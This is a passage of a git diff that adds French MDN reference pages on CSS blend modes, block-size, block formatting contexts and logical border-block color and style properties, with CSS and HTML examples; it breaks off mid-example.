+<p>Le type <strong><code>&lt;blend-mode&gt;</code></strong> est un ensemble de mots-clés qui permettent de décrire les différents modes de fusion (<em>blend modes</em>). Ce type de valeur est utilisé pour les propriétés {{cssxref("background-blend-mode")}} et {{cssxref("mix-blend-mode")}}.</p>
+
+<p>Un mode de fusion est une méthode de calcul permettant de déterminer la couleur finale d'un pixel lorsque plusieurs couches sont empilées. Chaque mode de fusion prend en entrée la couleur du premier plan et de l'arrière-plan (dans cet ordre) pour calculer la valeur de la couleur obtenue. Le résultat final est la couche visible obtenue lorsque les différents plans ont été fusionnés avec les modes de fusion.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une valeur de type de données <code>&lt;blend-mode&gt;</code> s'écrit avec l'un des mots-clés suivants.</p>
+
+<h3 id="Valeurs_possibles">Valeurs possibles</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>
+ <p>La couleur finale obtenue est la couleur du premier plan, quelle que soit la couleur de l'arrière-plan. On obtient ainsi un effet similaire à la superposition de deux feuilles de papier opaques.</p>
+
+ <div class="hidden" id="normal">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: normal;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('normal', "300", "300")}}</p>
+ </dd>
+ <dt><code>multiply</code></dt>
+ <dd>
+ <p>La couleur finale est obtenue en multipliant les couleurs du premier plan et de l'arrière-plan.<br>
+  Si une des couches est noire, le résultat obtenu sera une image noire. Si une des couches est blanche, cela ne modifiera pas l'autre image. On obtient ainsi un effet semblable à la superposition de deux transparents.</p>
+
+ <div class="hidden" id="multiply">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: multiply;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('multiply', "300", "300")}}</p>
+ </dd>
+ <dt><code>screen</code></dt>
+ <dd>
+ <p>La couleur finale est obtenue en : inversant les couleurs des deux plans, en les multipliant et en inversant la couleur obtenue. Si une des couches est noire, le résultat obtenu sera l'image de l'autre couche. Si une des couches est blanche, l'image obtenue sera blanche. L'effet obtenu est semblable à la projection de deux images sur un écran.</p>
+
+ <div class="hidden" id="screen">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('screen', "300", "300")}}</p>
+ </dd>
+ <dt><code>overlay</code></dt>
+ <dd>La couleur finale est celle décrite par <code>multiply</code> si l'arrière-plan est plus sombre ou de <code>screen</code> si elle est plus claire. On a un effet semblable à <code>hard-light</code> avec les couches interverties.
+ <div class="hidden" id="overlay">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: overlay;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('overlay', "300", "300")}}</p>
+ </dd>
+ <dt><code>darken</code></dt>
+ <dd>
+ <p>La couleur finale est la couleur la plus sombre des deux couches.</p>
+
+ <div class="hidden" id="darken">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: darken;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('darken', "300", "300")}}</p>
+ </dd>
+ <dt><code>lighten</code></dt>
+ <dd>
+ <p>La couleur finale est la couleur la plus claire des deux couches.</p>
+
+ <div class="hidden" id="lighten">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: lighten;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('lighten', "300", "300")}}</p>
+ </dd>
+ <dt><code>color-dodge</code></dt>
+ <dd>
+ <p>La couleur finale est obtenue en divisant la couleur de l'arrière-plan avec l'inverse de la couleur du premier plan.<br>
+  Un premier-plan noir n'entraînera aucun changement.</p>
+
+ <div class="hidden" id="color-dodge">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-dodge;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('color-dodge', "300", "300")}}</p>
+ </dd>
+ <dt><code>color-burn</code></dt>
+ <dd>
+ <p>La couleur finale est obtenu en inversant la couleur de l'arrière-plan qui sera divisée par la couleur du premier-plan puis inversée. Un premier-plan blanc n'entraînera aucun changement et un premier-plan qui possède exactement l'inverse de l'arrière-plan entraînera une image noire.</p>
+
+ <div class="hidden" id="color-burn">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color-burn;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('color-burn', "300", "300")}}</p>
+ </dd>
+ <dt><code>hard-light</code></dt>
+ <dd>
+ <p>La couleur finale est le résultat de <code>multiply</code> si le premier plan est plus sombre ou de <code>screen</code> si la couleur de premier-plan est plus claire. L'effet obtenu est équivalent à <code>overlay</code> avec les deux couches interverties.</p>
+
+ <div class="hidden" id="hard-light">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hard-light;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('hard-light', "300", "300")}}</p>
+ </dd>
+ <dt><code>soft-light</code></dt>
+ <dd>
+ <p>La couleur finale obtenue est semblable à <code>hard-light</code>, mais est plus douce<em><code>.</code></em></p>
+
+ <div class="hidden" id="soft-light">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: soft-light;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('soft-light', "300", "300")}}</p>
+ </dd>
+ <dt><code>difference</code></dt>
+ <dd>
+ <p>La couleur finale est obtenue en soustrayant la couleur la plus sombre à la couleur la plus claire. Une couche noire n'aura aucun effet et une couche blanche inversera l'autre image.</p>
+
+ <div class="hidden" id="difference">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: difference;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('difference', "300", "300")}}</p>
+ </dd>
+ <dt><code>exclusion</code></dt>
+ <dd>
+ <p>La couleur finale obtenue est semblable à <code>difference</code> avec moins de contraste. Comme pour <code>difference</code>, une couche noire n'aura aucun effet et une couche blanche inversera l'autre couche.</p>
+
+ <div class="hidden" id="exclusion">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: exclusion;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('exclusion', "300", "300")}}</p>
+ </dd>
+ <dt><code>hue</code></dt>
+ <dd>
+ <p>La couleur finale aura la teinte de la couleur du premier-plan et la saturation et la luminosité de la couleur de l'arrière-plan.</p>
+
+ <div class="hidden" id="hue">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: hue;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('hue', "300", "300")}}</p>
+ </dd>
+ <dt><code>saturation</code></dt>
+ <dd>
+ <p>La couleur finale aura la saturation de la couleur du premier plan et la teinte et la luminosité de la couleur de l'arrière-plan.</p>
+
+ <div class="hidden" id="saturation">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: saturation;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('saturation', "300", "300")}}</p>
+ </dd>
+ <dt><code>color</code></dt>
+ <dd>
+ <p>La couleur finale aura la teinte et la saturation du premier plan et la luminosité de l'arrière-plan. Cet effet conserve les niveaux de gris et peut être utilisé pour coloriser le premier plan.</p>
+
+ <div class="hidden" id="color">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: color;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('color', "300", "300")}}</p>
+ </dd>
+ <dt><code>luminosity</code></dt>
+ <dd>
+ <p>La couleur finale aura la luminosité de la couleur du premier plan et la teinte et la saturation de la couleur de l'arrière-plan.</p>
+
+ <div class="hidden" id="luminosity">
+ <pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;</pre>
+
+ <pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),
+                url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: luminosity;
+}</pre>
+ </div>
+
+ <p>{{EmbedLiveSample('luminosity', "300", "300")}}</p>
+ </dd>
+</dl>
+
+<h2 id="L'interpolation_des_modes_de_fusion">L'interpolation des modes de fusion</h2>
+
+<p>Il n'y a pas d'interpolation pour les modes de fusion. Toute transition se produit brutalement.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compositing', '#ltblendmodegt', '&lt;blend-mode&gt;')}}</td>
+   <td>{{Spec2('Compositing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Pour contribuer à ces données de compatibilité, vous pouvez envoyer une <em>pull request</em> sur ce dépôt: <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</p>
+
+<p>{{Compat("css.types.blend-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés utilisant des valeurs de ce type :
+  <ul>
+   <li>{{cssxref("background-blend-mode")}}</li>
+   <li>{{cssxref("mix-blend-mode")}}</li>
+  </ul>
+ </li>
+ <li><a href="https://en.wikipedia.org/wiki/Blend_modes">Les modes de fusion sur Wikipédia (en anglais)</a></li>
+ <li><a href="/fr/docs/Web/CSS/Reference">La référence CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/block-size/index.html b/files/fr/web/css/block-size/index.html
new file mode 100644
index 0000000000..e77282ba64
--- /dev/null
+++ b/files/fr/web/css/block-size/index.html
@@ -0,0 +1,109 @@
+---
+title: block-size
+slug: Web/CSS/block-size
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/block-size
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>block-size</code></strong> est une propriété <em>logique</em> qui permet de définir la taille de l'élément dans la direction orthogonale au sens de lecture. Selon la valeur de la propriété {{cssxref("writing-mode")}}, elle correspondra à la propriété physique {{cssxref("width")}} ou {{cssxref("height")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/block-size.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si le mode d'écriture est vertical, la valeur de <code>block-size</code> fera référence à la largeur de l'élément et sinon, elle fera référence à sa hauteur.</p>
+
+<p>L'autre propriété logique permettant de définir la dimension sur l'autre axe est {{cssxref("inline-size")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs de longueur */
+/* Type &lt;length&gt;       */
+block-size: 300px;
+block-size: 25em;
+
+/* Valeurs proportionnelles */
+/* Type &lt;percentage&gt;        */
+block-size: 75%;
+
+/* Valeurs avec un mot-clé */
+block-size: 25em border-box;
+block-size: 75% content-box;
+block-size: max-content;
+block-size: min-content;
+block-size: available;
+block-size: fit-content;
+block-size: auto;
+
+/* Valeurs globales */
+block-size: inherit;
+block-size: initial;
+block-size: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>La propriété <code>block-size</code> peut prendre les mêmes valeurs que {{cssxref("width")}} et {{cssxref("height")}}.</p>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.exemple {
+  writing-mode: vertical-rl;
+  background-color: yellow;
+  block-size: 200px;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples")}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#logical-dimension-properties", "block-size")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.block-size")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes : {{cssxref("width")}} et {{cssxref("height")}}</li>
+ <li>{{cssxref("writing-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/block_formatting_context/index.html b/files/fr/web/css/block_formatting_context/index.html
new file mode 100644
index 0000000000..5b324fc6bb
--- /dev/null
+++ b/files/fr/web/css/block_formatting_context/index.html
@@ -0,0 +1,44 @@
+---
+title: Contexte de formatage de blocs
+slug: Web/CSS/Block_formatting_context
+tags:
+  - CSS
+  - Reference
+  - Web
+translation_of: Web/Guide/CSS/Block_formatting_context
+---
+<div>{{CSSRef}}</div>
+
+<p>Un <strong>contexte de formatage de blocs</strong> (<em>block formatting context</em>) est une partie du rendu visuel par le CSS, d'une page web. C'est la région qui délimite la mise en page des blocs et dans laquelle les éléments flottant interagissent les uns avec les autres.</p>
+
+<p>Un contexte de formatage de blocs est créé dans les situations suivantes :</p>
+
+<ul>
+ <li>L'élément racine ou quelque chose qui le contient</li>
+ <li>Les éléments flottants (éléments avec une valeur pour la propriété {{cssxref("float")}} autre que <code>none</code>)</li>
+ <li>Les éléments avec une position absolue (éléments avec la propriété {{cssxref("position")}} à <code>absolute</code> ou <code>fixed</code>)</li>
+ <li>Les blocs en ligne (éléments avec la propriété {{cssxref("display")}} à <code>inline-block</code>)</li>
+ <li>Les cellules de tableau (éléments avec {{cssxref("display")}}<code>: table-cell</code>, ce qui est le défaut pour les cellules de tableau)</li>
+ <li>Les titres de tableau (éléments avec {{cssxref("display")}}<code>: table-caption</code>, ce qui est le défaut pour {{HTMLElement("caption")}})</li>
+ <li>Les éléments où {{cssxref("overflow")}} a une valeur autre que <code>visible</code></li>
+ <li>Les boîtes flexibles (éléments avec {{cssxref("display")}}<code>: flex</code> ou <code>inline-flex</code>)</li>
+ <li>{{cssxref("display")}}<code>: flow-root</code></li>
+</ul>
+
+<p>Un contexte de formatage de blocs contient tout ce qui se trouve dans l'élément qui l'a créé, et qui ne se trouve pas aussi dans un élément descendant définissant un nouveau contexte de formatage de blocs.</p>
+
+<p>Les contextes de formatage de blocs sont important pour le positionnement (voir {{cssxref("float")}} et {{cssxref("clear")}}). Les règles de positionnement et de "libération" des blocs flottants (par {{cssxref("clear")}}) s'appliquent seulement aux éléments au sein d'un même contexte de formatage de blocs. Les blocs flottants n'influent pas sur le positionnement des éléments se trouvant dans d'autres contextes de formatage de blocs, et {{cssxref("clear")}} ne libère que des blocs flottants dans le même contexte de formatage de blocs.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#q15">CSS 2.1</a></li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("float")}}</li>
+ <li>{{cssxref("clear")}}</li>
+ <li>{{cssxref("display")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-color/index.html b/files/fr/web/css/border-block-color/index.html
new file mode 100644
index 0000000000..89093bbd82
--- /dev/null
+++ b/files/fr/web/css/border-block-color/index.html
@@ -0,0 +1,102 @@
+---
+title: border-block-color
+slug: Web/CSS/border-block-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-color</code></strong> définit la couleur de la bordure d'un élément sur les côtés de l'axe de bloc. Cette propriété correspondra à différentes propriétés physiques pour les couleurs de la bordure selon le mode d'écriture de l'élément, sa direction et l'orientation du texte. Autrement dit, cette propriété logique peut correspondre à {{cssxref("border-top-color")}} et {{cssxref("border-bottom-color")}} ou à {{cssxref("border-right-color")}} et {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<pre class="brush:css no-line-numbers">border-block-color: yellow;
+border-block-color: #F5F6F7;
+</pre>
+
+<p>Pour définir la couleur de la bordure sur l'autre dimension, on pourra utiliser la propriété logique {{cssxref("border-inline-color")}} qui définit {{cssxref("border-inline-start-color")}} et {{cssxref("border-inline-end-color")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>La couleur de la bordure. Voir {{cssxref("color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.texteExemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="texteExemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-color", "border-block-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.properties.border-block-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques qui peuvent correspondre à cette propriété :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>Les propriétés relatives aux propriétés logiques : {{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+ <li>{{bug("1297097")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-end-color/index.html b/files/fr/web/css/border-block-end-color/index.html
new file mode 100644
index 0000000000..1d2a352129
--- /dev/null
+++ b/files/fr/web/css/border-block-end-color/index.html
@@ -0,0 +1,117 @@
+---
+title: border-block-end-color
+slug: Web/CSS/border-block-end-color
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Propriété logique
+  - Reference
+translation_of: Web/CSS/border-block-end-color
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-end-color</code></strong> définit la couleur de la bordure pour le côté de la fin de l'élément orienté orthogonalement à l'axe de lecture. Elle correspond à une propriété physique selon le mode d'écriture de l'élément, sa directionnalité et l'orientation du texte. Autrement dit, elle correspond à l'une des propriétés {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-bottom-color")}} ou {{cssxref("border-left-color")}} selon les valeurs des propriétés {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-end-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété est à rapprocher des autres propriétés logiques permettant de définir les couleurs de la bordure d'un élément :</p>
+
+<ul>
+ <li>{{cssxref("border-block-start-color")}},</li>
+ <li>{{cssxref("border-inline-end-color")}},</li>
+ <li>{{cssxref("border-inline-start-color")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-block-end-color: red;
+border-block-end-color: #fffff;
+border-block-end-color: rgb(200, 0, 0);
+
+border-block-end-color: unset;
+border-block-end-color: initial;
+border-block-end-color: inherit;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-color'&gt;</code></dt>
+ <dd>La couleur utilisée pour la bordure, voir {{cssxref("border-color")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
+  writing-mode: vertical-lr;
+  border: 10px solid blue;
+  border-block-end-color: red;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exemple"&gt;Texte d'exemple&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples", 140, 140)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS Logical Properties", "#propdef-border-block-end-color", "border-block-end-color")}}</td>
+   <td>{{Spec2("CSS Logical Properties")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.border-block-end-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les propriétés physiques correspondantes :
+  <ul>
+   <li>{{cssxref("border-top-color")}},</li>
+   <li>{{cssxref("border-right-color")}},</li>
+   <li>{{cssxref("border-bottom-color")}},</li>
+   <li>{{cssxref("border-left-color")}}.</li>
+  </ul>
+ </li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+ <li>{{bug("1297097")}}</li>
+</ul>
diff --git a/files/fr/web/css/border-block-end-style/index.html b/files/fr/web/css/border-block-end-style/index.html
new file mode 100644
index 0000000000..efe5c0b546
--- /dev/null
+++ b/files/fr/web/css/border-block-end-style/index.html
@@ -0,0 +1,110 @@
+---
+title: border-block-end-style
+slug: Web/CSS/border-block-end-style
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/border-block-end-style
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<p>La propriété <strong><code>border-block-end-style</code></strong> définit le style de la bordure utilisé pour le côté de la fin de l'élément dans l'axe orthogonal au sens de lecture. Cette propriété logique correspondra à une propriété physique selon le mode d'écriture, la directionnalité et l'orientation du texte. Autrement dit, elle correspond à {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-bottom-style")}} ou à {{cssxref("border-left-style")}} selon les valeurs de {{cssxref("writing-mode")}}, {{cssxref("direction")}} et {{cssxref("text-orientation")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/border-block-end-style.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les autres propriétés logiques permettant de définir le style de la bordure sont les suivantes :</p>
+
+<ul>
+ <li>{{cssxref("border-inline-start-style")}}</li>
+ <li>{{cssxref("border-inline-end-style")}}</li>
+ <li>{{cssxref("border-block-start-style")}}.</li>
+</ul>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">border-block-end-style: dashed;
+border-block-end-style: dotted;
+border-block-end-style: groove;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Le style de la ligne pour la bordure, voir {{cssxref("border-style")}}.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exemple {
